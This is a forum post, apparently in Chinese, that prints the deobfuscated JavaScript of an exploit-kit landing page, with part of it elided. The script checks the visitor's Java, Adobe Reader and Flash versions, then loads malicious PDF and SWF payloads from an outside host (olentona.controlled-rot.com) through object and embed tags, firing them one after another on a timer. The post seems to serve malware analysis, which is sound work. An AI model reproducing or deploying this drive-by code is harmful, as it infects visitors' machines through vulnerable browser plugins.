加密部分解混淆下来:- var pdpd={
- version:"0.7.9",name:"pdpd",handler:function(c,b,a){
- return function(){
- c(b,a)}
- }
- ,openTag:"<",isDefined:function(b){
- return typeof b!="undefined"}
- ,isArray:function(b){
- return(/array/i).test(Object.prototype.toString.call(b))}
- ,isFunc:function(b){
- return typeof b=="function"}
- ,isString:function(b){
- return typeof b=="string"}
- ,isNum:function(b){
- return typeof b=="number"}
- ,isStrNum:function(b){
- return(typeof b=="string"&&(/\d/).test(b))}
- ,getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){
- var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;
- return a?a[0]:null}
- ,compareNums:function(h,f,d){
- var e=this,c,b,a,g=parseInt;
- if(e.isStrNum(h)&&e.isStrNum(f)){
- if(e.isDefined(d)&&d.compareNums){
- return d.compareNums(h,f)}
- c=h.split(e.splitNumRegx);
- b=f.split(e.splitNumRegx);
- for(a=0;
- a<Math.min(c.length,b.length);
- a++){
- if(g(c[a],10)>g(b[a],10)){
- return 1}
- if(g(c[a],10)<g(b[a],10)){
- return -1}
- }
- }
- return 0}
- ,formatNum:function(b,c){
- var d=this,a,e;
- if(!d.isStrNum(b)){
- return null}
- if(!d.isNum(c)){
- c=4}
- c--;
- e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
- for(a=0;
- a<4;
- a++){
- if(/^(0+)(.+)$/.test(e[a])){
- e[a]=RegExp.$2}
- if(a>c||!(/\d/).test(e[a])){
- e[a]="0"}
- }
- return e.slice(0,4).join(",")}
- ,$hasMimeType:function(a){
- return function(c){
- if(!a.isIE&&c){
- var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);
- for(b=0;
- b<d.length;
- b++){
- if(a.isString(d[b])&&/[^\s]/.test(d[b])){
- f=navigator.mimeTypes[d[b]];
- e=f?f.enabledPlugin:0;
- if(e&&(e.name||e.description)){
- return ....body.appendChild(d);
- }
- function p2(){
- var d=document.createElement("object");
- d.setAttribute("width",100);
- d.setAttribute("height",100);
- d.setAttribute("data","http://olentona.controlled-rot.com/mother-selfish_shortly-widely.pdf");
- d.setAttribute("type","application/pdf");
- document.body.appendChild(d);
- }
- function ff(){
- var oSpan=document.createElement("span");
- document.body.appendChild(oSpan);
- var url = "http://olentona.controlled-rot.com/cope-civilian-hotel.swf";
- oSpan.innerHTML="<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='"+url+"' /><embed src='"+url+"' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
- }
- var aa=[];
- jver=pdpd.getVersion("Java");
- if(jver!=null){
- jver=jver.split(".");
- }
- else{
- jver=[0,0,0,0];
- }
- pver=pdpd.getVersion("AdobeReader");
- if(pver!=null){
- pver=pver.split(".");
- }
- else{
- pver=[0,0,0,0];
- }
- fver=pdpd.getVersion("Flash");
- if(fver!=null){
- fver=fver.split(".");
- }
- else{
- fver=[0,0,0,0];
- }
- if((jver[1]<6)||((jver[1]==6)&&(jver[3]<33))||((jver[1]==7)&&(jver[3]<11))){
- aa.push(function(){
- }
- );
- }
- if((pver[0]==8)||((pver[0]==9)&&(pver[1]<4))){
- aa.push(p2);
- }
- if((pver[0]>0)&&(pver[0]<8)){
- aa.push(p1);
- }
- if((fver[0]>0)){
- aa.push(ff);
- }
- var ci=0;
- var arcall = function(){
- if(aa.length<=ci)return;
- aa[ci]();
- ci++;
- setTimeout(function(){
- arcall()}
- ,15000);
- }
- ;
- arcall();
-
复制代码 |